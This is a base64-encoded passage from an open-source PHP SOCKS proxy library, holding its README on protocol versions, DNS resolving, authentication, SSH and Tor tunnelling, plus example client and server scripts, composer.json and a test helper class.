1wbGVtZW50YXRpb24gZHVlIHRvIG1pc3NpbmcgR1NTQVBJCmF1dGhlbnRpY2F0aW9uIChidXQgaXQncyB1bmxpa2VseSB5b3UncmUgZ29pbmcgdG8gbWlzcyBpdCBhbnl3YXkpLgoKIyMjIEV4cGxpY2l0bHkgc2V0dGluZyBwcm90b2NvbCB2ZXJzaW9uCgpUaGlzIGxpYnJhcnkgc3VwcG9ydHMgdGhlIFNPQ0tTNCwgU09DS1M0YSBhbmQgU09DS1M1IHByb3RvY29sIHZlcnNpb25zLgpVc3VhbGx5LCB0aGVyZSdzIG5vIG5lZWQgdG8gd29ycnkgYWJvdXQgd2hpY2ggcHJvdG9jb2wgdmVyc2lvbiBpcyBiZWluZyB1c2VkLgpEZXBlbmRpbmcgb24gd2hpY2ggZmVhdHVyZXMgeW91IHVzZSAoZS5nLiBbcmVtb3RlIEROUyByZXNvbHZpbmddKCNyZW1vdGUtdnMtbG9jYWwtZG5zLXJlc29sdmluZykKYW5kIFthdXRoZW50aWNhdGlvbl0oI3VzZXJuYW1lLS1wYXNzd29yZC1hdXRoZW50aWNhdGlvbikpLAp0aGUgYENsaWVudGAgYXV0b21hdGljYWxseSB1c2VzIHRoZSBfYmVzdF8gcHJvdG9jb2wgYXZhaWxhYmxlLgpJbiBnZW5lcmFsIHRoaXMgbGlicmFyeSBhdXRvbWF0aWNhbGx5IHN3aXRjaGVzIHRvIGhpZ2hlciBwcm90b2NvbCB2ZXJzaW9ucwp3aGVuIG5lZWRlZCwgYnV0IHRyaWVzIHRvIGtlZXAgdGhpbmdzIHNpbXBsZSBvdGhlcndpc2UgYW5kIHN0aWNrcyB0byBsb3dlcgpwcm90b2NvbCB2ZXJzaW9ucyB3aGVuIHBvc3NpYmxlLgpUaGUgYFNlcnZlcmAgc3VwcG9ydHMgYWxsIHByb3RvY29sIHZlcnNpb25zIGJ5IGRlZmF1bHQuCgpJZiB3YW50IHRvIGV4cGxpY2l0bHkgc2V0IHRoZSBwcm90b2NvbCB2ZXJzaW9uLCB1c2UgdGhlIHN1cHBvcnRlZCB2YWx1ZXMgYDRgLCBgNGFgIG9yIGA1YDoKCmBgYFBIUAovLyB2YWxpZCBwcm90b2NvbCB2ZXJzaW9uczoKJGNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKCc0YScpOwokc2VydmVyLT5zZXRQcm90b2NvbFZlcnNpb24oNSk7CmBgYAoKSW4gb3JkZXIgdG8gcmVzZXQgdGhlIHByb3RvY29sIHZlcnNpb24gdG8gaXRzIGRlZmF1bHQgKGkuZS4gYXV0b21hdGljIGRldGVjdGlvbiksCnVzZSBgbnVsbGAgYXMgcHJvdG9jb2wgdmVyc2lvbi4KCmBgYFBIUAokY2xpZW50LT5zZXRQcm9jb2xWZXJzaW9uKG51bGwpOwokc2VydmVyLT5zZXRQcm90b2NvbFZlcnNpb24obnVsbCk7CmBgYAoKIyMjIFJlbW90ZSB2cy4gbG9jYWwgRE5TIHJlc29sdmluZwoKQnkgZGVmYXVsdCwgdGhlIGBDbGllbnRgIHVzZXMgbG9jYWwgRE5TIHJlc29sdmluZyB0byByZXNvbHZlIHRhcmdldCBob3N0bmFtZXMKaW50byBJUCBhZGRyZXNzZXMgYW5kIG9ubHkgdHJhbnNtaXRzIHRoZSByZXN1bHRpbmcgdGFyZ2V0IElQIHRvIHRoZSBzb2NrcyBzZXJ2ZXIuCgpSZXNvbHZpbmcgbG9jYWxseSB1c3VhbGx5IHJlc3VsdHMgaW4gYmV0dGVyIHBlcmZvcm1hbmNlIGFzIGZvciBlYWNoIG91dGdvaW5nCnJlcXVlc3QgYm90aCByZXNvbHZpbmcgdGhlIGhvc3RuYW1lIGFuZCBpbml0aWFsaXppbmcgdGhlIGNvbm5lY3Rpb24gdG8gdGhlClNPQ0tTIHNlcnZlciBjYW4gYmUgZG9uZSBzaW11bHRhbm91c2x5LiBTbyBieSB0aGUgdGltZSB0aGUgU09DS1MgY29ubmVjdGlvbiBpcwplc3RhYmxpc2hlZCAocmVxdWlyZXMgYSBUQ1AgaGFuZHNoYWtlIGZvciBlYWNoIGNvbm5lY3Rpb24pLCB0aGUgdGFyZ2V0IGhvc3RuYW1lCndpbGwgbGlrZWx5IGFscmVhZHkgYmUgcmVzb2x2ZWQgKCBfdXN1YWxseV8gZWl0aGVyIGFscmVhZHkgY2FjaGVkIG9yIHJlcXVpcmVzIGEKc2ltcGxlIEROUyBxdWVyeSB2aWEgVURQKS4KCllvdSBtYXkgd2FudCB0byBzd2l0Y2ggdG8gcmVtb3RlIEROUyByZXNvbHZpbmcgaWYgeW91ciBsb2NhbCBgQ2xpZW50YCBlaXRoZXIgY2FuIG5vdApyZXNvbHZlIHRhcmdldCBob3N0bmFtZXMgYmVjYXVzZSBpdCBoYXMgbm8gZGlyZWN0IGFjY2VzcyB0byB0aGUgaW50ZXJuZXQgb3IgaWYKaXQgc2hvdWxkIG5vdCByZXNvbHZlIHRhcmdldCBob3N0bmFtZXMgYmVjYXVzZSBpdHMgb3V0Z29pbmcgRE5TIHRyYWZmaWMgbWlnaHQKYmUgaW50ZXJjZXB0ZWQgKGluIHBhcnRpY3VsYXIgd2hlbiB1c2luZyB0aGUKW1RvciBuZXR3b3JrXSgjdXNpbmctdGhlLXRvci1hbm9ueW1pdHktbmV0d29yay10by10dW5uZWwtc29ja3MtY29ubmVjdGlvbnMpKS4gCgpMb2NhbCBETlMgcmVzb2x2aW5nIGlzIGF2YWlsYWJsZSBpbiBhbGwgU09DS1MgcHJvdG9jb2wgdmVyc2lvbnMuClJlbW90ZSBETlMgcmVzb2x2aW5nIGlzIG9ubHkgYXZhaWxhYmxlIGZvciBTT0NLUzRhIGFuZCBTT0NLUzUKKGkuZS4gaXQgaXMgTk9UIGF2YWlsYWJsZSBmb3IgU09DS1M0KS4KClZhbGlkIHZhbHVlcyBhcmUgYm9vbGVhbiBgdHJ1ZWAoZGVmYXVsdCkgb3IgYGZhbHNlYC4KCmBgYFBIUAokY2xpZW50LT5zZXRSZXNvbHZlTG9jYWwoZmFsc2UpOwpgYGAKCiMjIyBVc2VybmFtZSAvIFBhc3N3b3JkIGF1dGhlbnRpY2F0aW9uCgpUaGlzIGxpYnJhcnkgc3VwcG9ydHMgdXNlcm5hbWUvcGFzc3dvcmQgYXV0aGVudGljYXRpb24gZm9yIFNPQ0tTNSBzZXJ2ZXJzIGFzCmRlZmluZWQgaW4gW1JGQyAxOTI5XShodHRwOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmMxOTI5KS4KCk9uIHRoZSBjbGllbnQgc2lkZSwgc2ltcGx5IHNldCB5b3VyIHVzZXJuYW1lIGFuZCBwYXNzd29yZCB0byB1c2UgZm9yCmF1dGhlbnRpY2F0aW9uIChzZWUgYmVsb3cpLgpGb3IgZWFjaCBmdXJ0aGVyIGNvbm5lY3Rpb24gdGhlIGNsaWVudCB3aWxsIG1lcmVseSBzZW5kIGEgZmxhZyB0byB0aGUgc2VydmVyCmluZGljYXRpbmcgYXV0aGVudGljYXRpb24gaW5mb3JtYXRpb24gaXMgYXZhaWxhYmxlLgpPbmx5IGlmIHRoZSBzZXJ2ZXIgcmVxdWVzdHMgYXV0aGVudGljYXRpb24gZHVyaW5nIHRoZSBpbml0aWFsIGhhbmRzaGFrZSwKdGhlIGFjdHVhbCBhdXRoZW50aWNhdGlvbiBjcmVkZW50aWFscyB3aWxsIGJlIHRyYW5zbWl0dGVkIHRvIHRoZSBzZXJ2ZXIuCgpOb3RlIHRoYXQgdGhlIHBhc3N3b3JkIGlzIHRyYW5zbWl0dGVkIGluIGNsZWFydGV4dCB0byB0aGUgU09DS1MgcHJveHkgc2VydmVyLApzbyB0aGlzIG1ldGhvZHMgc2hvdWxkIG5vdCBiZSB1c2VkIG9uIGEgbmV0d29yayB3aGVyZSB5b3UgaGF2ZSB0byB3b3JyeSBhYm91dCBlYXZlc2Ryb3BwaW5nLgpBdXRoZW50aWNhdGlvbiBpcyBvbmx5IHN1cHBvcnRlZCBieSBwcm90b2NvbCB2ZXJzaW9uIDUgKFNPQ0tTNSksCnNvIHNldHRpbmcgYXV0aGVudGljYXRpb24gb24gdGhlIGBDbGllbnRgIGVuZm9yY2VzIGNvbW11bmljYXRpb24gd2l0aCBwcm90b2NvbAp2ZXJzaW9uIDUgYW5kIGNvbXBsYWlucyBpZiB5b3UgaGF2ZSBleHBsaWNpdGx5IHNldCBhbnl0aGluZyBlbHNlLiAKCmBgYFBIUAokY2xpZW50LT5zZXRBdXRoKCd1c2VybmFtZScsICdwYXNzd29yZCcpOwpgYGAKClNldHRpbmcgYXV0aGVudGljYXRpb24gb24gdGhlIGBTZXJ2ZXJgIGVuZm9yY2VzIGVhY2ggZnVydGhlciBjb25uZWN0ZWQgY2xpZW50CnRvIHVzZSBwcm90b2NvbCB2ZXJzaW9uIDUuCklmIGEgY2xpZW50IHRyaWVzIHRvIHVzZSBhbnkgb3RoZXIgcHJvdG9jb2wgdmVyc2lvbiwgZG9lcyBub3Qgc2VuZCBhbG9uZwphdXRoZW50aWNhdGlvbiBkZXRhaWxzIG9yIGlmIGF1dGhlbnRpY2F0aW9uIGRldGFpbHMgY2FuIG5vdCBiZSB2ZXJpZmllZCwKdGhlIGNvbm5lY3Rpb24gd2lsbCBiZSByZWplY3RlZC4KCkJlY2F1c2UgeW91ciBhdXRoZW50aWNhdGlvbiBtZWNoYW5pc20gbWlnaHQgdGFrZSBzb21lIHRpbWUgdG8gYWN0dWFsbHkgY2hlY2sKdGhlIHByb3ZpZGVkIGF1dGhlbnRpY2F0aW9uIGNyZWRlbnRpYWxzIChsaWtlIHF1ZXJ5aW5nIGEgcmVtb3RlIGRhdGFiYXNlIG9yIHdlYnNlcnZpY2UpLAp0aGUgc2VydmVyIHNpZGUgdXNlcyBhIFtQcm9taXNlXShodHRwczovL2dpdGh1Yi5jb20vcmVhY3RwaHAvcHJvbWlzZSkgYmFzZWQgaW50ZXJmYWNlLgpXaGlsZSB0aGlzIG1pZ2h0IHNlZW0gY29tcGxleCBhdCBmaXJzdCwgaXQgYWN0dWFsbHkgcHJvdmlkZXMgYSB2ZXJ5IHNpbXBsZSB3YXkKdG8gaGFuZGxlIHNpbXVsdGFub3VzIGNvbm5lY3Rpb25zIGluIGEgbm9uLWJsb2NraW5nIGZhc2hpb24gYW5kIGluY3JlYXNlcyBvdmVyYWxsIHBlcmZvcm1hbmNlLgoKYGBgUEhQCiRzZXJ2ZXItPnNldEF1dGgoZnVuY3Rpb24gKCR1c2VybmFtZSwgJHBhc3N3b3JkKSB7CiAgICAvLyBlaXRoZXIgcmV0dXJuIGEgYm9vbGVhbiBzdWNjZXNzIHZhbHVlIHJpZ2h0IGF3YXkKICAgIC8vIG9yIHVzZSBwcm9taXNlcyBmb3IgZGVsYXllZCBhdXRoZW50aWNhdGlvbgp9KTsKYGBgCgpPciBpZiB5b3Ugb25seSBhY2NlcHQgc3RhdGljIGF1dGhlbnRpY2F0aW9uIGRldGFpbHMsIHlvdSBjYW4gdXNlIHRoZSBzaW1wbGUKYXJyYXktYmFzZWQgYXV0aGVudGljYXRpb24gbWV0aG9kIGFzIGEgc2hvcnRjdXQ6CgpgYGBQSFAKJHNlcnZlci0+c2V0QXV0aEFycmF5KGFycmF5KAogICAgJ3RvbScgPT4gJ3Bhc3N3b3JkJywKICAgICdhZG1pbicgPT4gJ3Jvb3QnCikpOwpgYGAKCklmIHlvdSBkbyBub3Qgd2FudCB0byB1c2UgYXV0aGVudGljYXRpb24gYW55bW9yZToKCmBgYFBIUAokY2xpZW50LT51bnNldEF1dGgoKTsKJHNlcnZlci0+dW5zZXRBdXRoKCk7CmBgYAoKIyMgVXNhZ2UKCiMjIyBVc2luZyBTU0ggYXMgYSBTT0NLUyBzZXJ2ZXIKCklmIHlvdSBhbHJlYWR5IGhhdmUgYW4gU1NIIHNlcnZlciBzZXQgdXAsIHlvdSBjYW4gZWFzaWx5IHVzZSBpdCBhcyBhIFNPQ0tTCnR1bm5lbCBlbmQgcG9pbnQuIE9uIHlvdXIgY2xpZW50LCBzaW1wbHkgc3RhcnQgeW91ciBTU0ggY2xpZW50IGFuZCB1c2UKdGhlIGAtRCBbcG9ydF1gIG9wdGlvbiB0byBzdGFydCBhIGxvY2FsIFNPQ0tTIHNlcnZlciAocXVvdGluZyB0aGUgbWFuIHBhZ2U6CmEgYGxvY2FsICJkeW5hbWljIiBhcHBsaWNhdGlvbi1sZXZlbCBwb3J0IGZvcndhcmRpbmdgKSBieSBpc3N1aW5nOgoKYCQgc3NoIC1EIDkwNTAgc3NoLXNlcnZlcmAKCmBgYFBIUAokY2xpZW50ID0gbmV3IENsaWVudCgkbG9vcCwgJzEyNy4wLjAuMScsIDkwNTApOwpgYGAKCiMjIyBVc2luZyB0aGUgVG9yIChhbm9ueW1pdHkgbmV0d29yaykgdG8gdHVubmVsIFNPQ0tTIGNvbm5lY3Rpb25zCgpUaGUgW1RvciBhbm9ueW1pdHkgbmV0d29ya10oaHR0cDovL3d3dy50b3Jwcm9qZWN0Lm9yZykgY2xpZW50IHNvZnR3YXJlIGlzIGRlc2lnbmVkCnRvIGVuY3J5cHQgeW91ciB0cmFmZmljIGFuZCByb3V0ZSBpdCBvdmVyIGEgbmV0d29yayBvZiBzZXZlcmFsIG5vZGVzIHRvIGNvbmNlYWwgaXRzIG9yaWdpbi4KSXQgcHJlc2VudHMgYSBTT0NLUzQgYW5kIFNPQ0tTNSBpbnRlcmZhY2Ugb24gVENQIHBvcnQgOTA1MCBieSBkZWZhdWx0CndoaWNoIGFsbG93cyB5b3UgdG8gdHVubmVsIGFueSB0cmFmZmljIHRocm91Z2ggdGhlIGFub255bWl0eSBuZXR3b3JrLgpJbiBtb3N0IHNjZW5hcmlvcyB5b3UgcHJvYmFibHkgZG9uJ3Qgd2FudCB5b3VyIGNsaWVudCB0byByZXNvbHZlIHRoZSB0YXJnZXQgaG9zdG5hbWVzLApiZWNhdXNlIHlvdSB3b3VsZCBsZWFrIEROUyBpbmZvcm1hdGlvbiB0byBhbnlib2R5IG9ic2VydmluZyB5b3VyIGxvY2FsIHRyYWZmaWMuCkFsc28sIFRvciBwcm92aWRlcyBoaWRkZW4gc2VydmljZXMgdGhyb3VnaCBhbiBgLm9uaW9uYCBwc2V1ZG8gdG9wLWxldmVsIGRvbWFpbgp3aGljaCBoYXZlIHRvIGJlIHJlc29sdmVkIGJ5IFRvci4KCmBgYFBIUAokY2xpZW50ID0gbmV3IENsaWVudCgkbG9vcCwgJzEyNy4wLjAuMScsIDkwNTApOwokY2xpZW50LT5zZXRSZXNvbHZlTG9jYWwoZmFsc2UpOwpgYGAKCiMjIEluc3RhbGwKClRoZSByZWNvbW1lbmRlZCB3YXkgdG8gaW5zdGFsbCB0aGlzIGxpYnJhcnkgaXMgW3Rocm91Z2ggY29tcG9zZXJdKGh0dHA6Ly9nZXRjb21wb3Nlci5vcmcpLiBbTmV3IHRvIGNvbXBvc2VyP10oaHR0cDovL2dldGNvbXBvc2VyLm9yZy9kb2MvMDAtaW50cm8ubWQpCgpgYGBKU09OCnsKICAgICJyZXF1aXJlIjogewogICAgICAgICJjbHVlL3NvY2tzLXJlYWN0IjogIn4wLjIuMCIKICAgIH0KfQpgYGAKCiMjIExpY2Vuc2UKCk1JVCwgc2VlIExJQ0VOU0UKPD9waHAKCnVzZSBDbHVlXFJlYWN0XFNvY2tzXFNlcnZlcjsKdXNlIFJlYWN0XFNvY2tldFxTZXJ2ZXIgYXMgU29ja2V0OwoKaW5jbHVkZV9vbmNlIF9fRElSX18uJy8uLi92ZW5kb3IvYXV0b2xvYWQucGhwJzsKCiRwb3J0ID0gaXNzZXQoJGFyZ3ZbMV0pID8gJGFyZ3ZbMV0gOiA5MDUwOwoKJGxvb3AgPSBSZWFjdFxFdmVudExvb3BcRmFjdG9yeTo6Y3JlYXRlKCk7CgovLyBsaXN0ZW4gb24gbG9jYWxob3N0OiRwb3J0CiRzb2NrZXQgPSBuZXcgU29ja2V0KCRsb29wKTsKJHNvY2tldC0+bGlzdGVuKCRwb3J0LCdsb2NhbGhvc3QnKTsKCi8vIHN0YXJ0IGEgbmV3IHNlcnZlciBsaXN0ZW5pbmcgZm9yIGluY29taW5nIGNvbm5lY3Rpb24gb24gdGhlIGdpdmVuIHNvY2tldAokc2VydmVyID0gbmV3IFNlcnZlcigkbG9vcCwgJHNvY2tldCk7CgplY2hvICdTT0NLUyBzZXJ2ZXIgbGlzdGVuaW5nIG9uIGxvY2FsaG9zdDonIC4gJHBvcnQgLiBQSFBfRU9MOwoKJGxvb3AtPnJ1bigpOwo8P3BocAoKdXNlIFJlYWN0XFN0cmVhbVxTdHJlYW07CnVzZSBDbHVlXFJlYWN0XFNvY2tzXENsaWVudDsKCmluY2x1ZGVfb25jZSBfX0RJUl9fLicvLi4vdmVuZG9yL2F1dG9sb2FkLnBocCc7CgokcG9ydCA9IGlzc2V0KCRhcmd2WzFdKSA/ICRhcmd2WzFdIDogOTA1MDsKCiRsb29wID0gUmVhY3RcRXZlbnRMb29wXEZhY3Rvcnk6OmNyZWF0ZSgpOwoKJGNsaWVudCA9IG5ldyBDbGllbnQoJGxvb3AsICcxMjcuMC4wLjEnLCAkcG9ydCk7CiRjbGllbnQtPnNldFRpbWVvdXQoMy4wKTsKJGNsaWVudC0+c2V0UmVzb2x2ZUxvY2FsKGZhbHNlKTsKLy8gJGNsaWVudC0+c2V0UHJvdG9jb2xWZXJzaW9uKDUpOwovLyAkY2xpZW50LT5zZXRBdXRoKCd0ZXN0JywndGVzdCcpOwoKZWNobyAnRGVtbyBTT0NLUyBjbGllbnQgY29ubmVjdGluZyB0byBTT0NLUyBzZXJ2ZXIgMTI3LjAuMC4xOicgLiAkcG9ydCAuIFBIUF9FT0w7CmVjaG8gJ05vdCBhbHJlYWR5IHJ1bm5pbmcgYSBTT0NLUyBzZXJ2ZXI/IFRyeSB0aGlzOiBzc2ggLUQgJyAuICRwb3J0IC4gJyBsb2NhbGhvc3QnIC4gUEhQX0VPTDsKCiR0Y3AgPSAkY2xpZW50LT5jcmVhdGVDb25uZWN0b3IoKTsKCiR0Y3AtPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLCA4MCktPnRoZW4oZnVuY3Rpb24gKFN0cmVhbSAkc3RyZWFtKSB7CiAgICBlY2hvICdjb25uZWN0ZWQnIC4gUEhQX0VPTDsKICAgICRzdHJlYW0tPndyaXRlKCJHRVQgLyBIVFRQLzEuMFxyXG5cclxuIik7CiAgICAkc3RyZWFtLT5vbignZGF0YScsIGZ1bmN0aW9uICgkZGF0YSkgewogICAgICAgIGVjaG8gJGRhdGE7CiAgICB9KTsKfSwgJ3Zhcl9kdW1wJyk7CgokbG9vcC0+cnVuKCk7Cjw/cGhwCgp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xDbGllbnQ7CnVzZSBDbHVlXFJlYWN0XFNvY2tzXFNlcnZlcjsKdXNlIFJlYWN0XFNvY2tldFxTZXJ2ZXIgYXMgU29ja2V0OwoKaW5jbHVkZV9vbmNlIF9fRElSX18uJy8uLi92ZW5kb3IvYXV0b2xvYWQucGhwJzsKCiRteVBvcnQgPSBpc3NldCgkYXJndlsxXSkgPyAkYXJndlsxXSA6IDkwNTE7CiRvdGhlclBvcnQgPSBpc3NldCgkYXJndlsyXSkgPyAkYXJndlsyXSA6IDkwNTA7CgokbG9vcCA9IFJlYWN0XEV2ZW50TG9vcFxGYWN0b3J5OjpjcmVhdGUoKTsKCi8vIHNldCBuZXh0IFNPQ0tTIHNlcnZlciBsb2NhbGhvc3Q6JG90aGVyUG9ydCBhcyB0YXJnZXQKJHRhcmdldCA9IG5ldyBDbGllbnQoJGxvb3AsICcxMjcuMC4wLjEnLCAkb3RoZXJQb3J0KTsKJHRhcmdldC0+c2V0QXV0aCgndXNlcicsJ3BAc3N3MHJkJyk7CgovLyBsaXN0ZW4gb24gbG9jYWxob3N0OiRteVBvcnQKJHNvY2tldCA9IG5ldyBTb2NrZXQoJGxvb3ApOwokc29ja2V0LT5saXN0ZW4oJG15UG9ydCwgJ2xvY2FsaG9zdCcpOwoKLy8gc3RhcnQgYSBuZXcgc2VydmVyIHdoaWNoIGZvcndhcmRzIGFsbCBjb25uZWN0aW9ucyB0byB0aGUgb3RoZXIgU09DS1Mgc2VydmVyCiRzZXJ2ZXIgPSBuZXcgU2VydmVyKCRsb29wLCAkc29ja2V0LCAkdGFyZ2V0LT5jcmVhdGVDb25uZWN0b3IoKSk7CgplY2hvICdTT0NLUyBzZXJ2ZXIgbGlzdGVuaW5nIG9uIGxvY2FsaG9zdDonIC4gJG15UG9ydCAuICcgKHdoaWNoIGZvcndhcmRzIGV2ZXJ5dGhpbmcgdG8gdGFyZ2V0IFNPQ0tTIHNlcnZlciAxMjcuMC4wLjE6JyAuICRvdGhlclBvcnQgLiAnKScgLiBQSFBfRU9MOwplY2hvICdOb3QgYWxyZWFkeSBydW5uaW5nIHRoZSB0YXJnZXQgU09DS1Mgc2VydmVyPyBUcnkgdGhpczogcGhwIHNlcnZlci1hdXRoLnBocCAnIC4gJG90aGVyUG9ydCAuIFBIUF9FT0w7CgokbG9vcC0+cnVuKCk7Cjw/cGhwCgp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xTZXJ2ZXI7CnVzZSBSZWFjdFxTb2NrZXRcU2VydmVyIGFzIFNvY2tldDsKCmluY2x1ZGVfb25jZSBfX0RJUl9fLicvLi4vdmVuZG9yL2F1dG9sb2FkLnBocCc7CgokcG9ydCA9IGlzc2V0KCRhcmd2WzFdKSA/ICRhcmd2WzFdIDogOTA1MDsKCiRsb29wID0gUmVhY3RcRXZlbnRMb29wXEZhY3Rvcnk6OmNyZWF0ZSgpOwoKLy8gbGlzdGVuIG9uIGxvY2FsaG9zdDokcG9ydAokc29ja2V0ID0gbmV3IFNvY2tldCgkbG9vcCk7CiRzb2NrZXQtPmxpc3RlbigkcG9ydCwnbG9jYWxob3N0Jyk7CgovLyBzdGFydCBhIG5ldyBzZXJ2ZXIgbGlzdGVuaW5nIGZvciBpbmNvbWluZyBjb25uZWN0aW9uIG9uIHRoZSBnaXZlbiBzb2NrZXQKLy8gcmVxdWlyZSBhdXRoZW50aWNhdGlvbiBhbmQgaGVuY2UgbWFrZSB0aGlzIGEgU09DS1M1LW9ubHkgc2VydmVyCiRzZXJ2ZXIgPSBuZXcgU2VydmVyKCRsb29wLCAkc29ja2V0KTsKJHNlcnZlci0+c2V0QXV0aEFycmF5KGFycmF5KAogICAgJ3RvbScgPT4gJ2dvZCcsCiAgICAndXNlcicgPT4gJ3BAc3N3MHJkJwopKTsKCmVjaG8gJ1NPQ0tTNSBzZXJ2ZXIgcmVxdWlyaW5nIGF1dGhlbnRpY2F0aW9uIGxpc3RlbmluZyBvbiBsb2NhbGhvc3Q6JyAuICRwb3J0IC4gUEhQX0VPTDsKCiRsb29wLT5ydW4oKTsKewogICAgIm5hbWUiOiAiY2x1ZS9zb2Nrcy1yZWFjdCIsCiAgICAiZGVzY3JpcHRpb24iOiAiQXN5bmMgU09DS1MgcHJveHkgY2xpZW50IGFuZCBzZXJ2ZXIgKFNPQ0tTNCwgU09DS1M0YSBhbmQgU09DS1M1KSIsCiAgICAia2V5d29yZHMiOiBbInNvY2tzIGNsaWVudCIsICJzb2NrcyBzZXJ2ZXIiLCAidGNwIHR1bm5lbCIsICJzb2NrcyBwcm90b2NvbCIsICJhc3luYyIsICJyZWFjdCJdLAogICAgImhvbWVwYWdlIjogImh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1zb2Nrcy1yZWFjdCIsCiAgICAibGljZW5zZSI6ICJNSVQiLAogICAgImF1dGhvcnMiOiBbCiAgICAgICAgewogICAgICAgICAgICAibmFtZSI6ICJDaHJpc3RpYW4gTMO8Y2siLAogICAgICAgICAgICAiZW1haWwiOiAiY2hyaXN0aWFuQGx1ZWNrLnR2IgogICAgICAgIH0KICAgIF0sCiAgICAiYXV0b2xvYWQiOiB7CiAgICAgICAgInBzci00IjogeyJDbHVlXFxSZWFjdFxcU29ja3NcXCI6ICJzcmMifQogICAgfSwKICAgICJyZXF1aXJlIjogewogICAgICAgICJwaHAiOiAiPj01LjMiLAogICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qIiwKICAgICAgICAicmVhY3Qvc29ja2V0LWNsaWVudCI6ICIwLjMuKiIsCiAgICAgICAgInJlYWN0L3NvY2tldCI6ICIwLjMuKiIsCiAgICAgICAgInJlYWN0L2RucyI6ICIwLjMuKiIsCiAgICAgICAgInJlYWN0L3N0cmVhbSI6ICIwLjMuKiIsCiAgICAgICAgInJlYWN0L3Byb21pc2UiOiAifjEuMCIsCiAgICAgICAgImV2ZW5lbWVudC9ldmVuZW1lbnQiOiAifjEuMCIKICAgIH0KfQo8P3BocAoKKGluY2x1ZGVfb25jZSBfX0RJUl9fLicvLi4vdmVuZG9yL2F1dG9sb2FkLnBocCcpIE9SIGRpZShQSFBfRU9MLidFUlJPUjogY29tcG9zZXIgYXV0b2xvYWRlciBub3QgZm91bmQsIHJ1biAiY29tcG9zZXIgaW5zdGFsbCIgb3Igc2VlIFJFQURNRSBmb3IgaW5zdHJ1Y3Rpb25zJy5QSFBfRU9MKTsKCmNsYXNzIFRlc3RDYXNlIGV4dGVuZHMgUEhQVW5pdF9GcmFtZXdvcmtfVGVzdENhc2UKewogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGV4cGVjdENhbGxhYmxlT25jZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CgoKICAgICAgICBpZiAoZnVuY19udW1fYXJncygpID4gMCkgewogICAgICAgICAgICAkbW9jawogICAgICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5lcXVhbFRvKGZ1bmNfZ2V0X2FyZygwKSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtb2NrCiAgICAgICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtb2NrOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBleHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm5ldmVyKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpOwoKICAgICAgICByZXR1cm4gJG1vY2s7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGV4cGVjdENhbGxhYmxlT25jZVBhcmFtZXRlcigkdHlwZSkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pc0luc3RhbmNlT2YoJHR5cGUpKTsKCiAgICAgICAgcmV0dXJuICRtb2NrOwogICAgfQoKICAgIC8qKgogICAgICogQGxpbmsgaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3JlYWN0L2Jsb2IvbWFzdGVyL3Rlc3RzL1JlYWN0L1Rlc3RzL1NvY2tldC9UZXN0Q2FzZS5waHAgKHRha2VuIGZyb20gcmVhY3RwaHAvcmVhY3QpCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBjcmVhdGVDYWxsYWJsZU1vY2soKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+Z2V0TW9jaygnQ2FsbGFibGVTdHViJyk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGV4cGVjdFByb21pc2VSZXNvbHZlKCRwcm9taXNlKQogICAgewogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UnLCAkcHJvbWlzZSk7CgogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgJHByb21pc2UtPnRoZW4obnVsbCwgZnVuY3Rpb24oJGVycm9yKSB1c2UgKCR0aGF0KSB7CiAgICAgICAgICAgICR0aGF0LT5hc3NlcnROdWxsKCRlcnJvcik7CiAgICAgICAgICAgICR0aGF0LT5mYWlsKCdwcm9taXNlIHJlamVjdGVkJyk7CiAgICAgICAgfSk7CiAgICAgICAgJHByb21pc2UtPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlT25jZSgpLCAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpKTsKCiAgICAgICAgcmV0dXJuICRwcm9taXNlOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBleHBlY3RQcm9taXNlUmVqZWN0KCRwcm9taXNlKQogICAgewogICAgICAgICR0aGlzLT5hc3NlcnRJbnN0YW5jZU9mKCdSZWFjdFxQcm9taXNlXFByb21pc2VJbnRlcmZhY2UnLCAkcHJvbWlzZSk7CgogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgJHByb21pc2UtPnRoZW4oZnVuY3Rpb24oJHZhb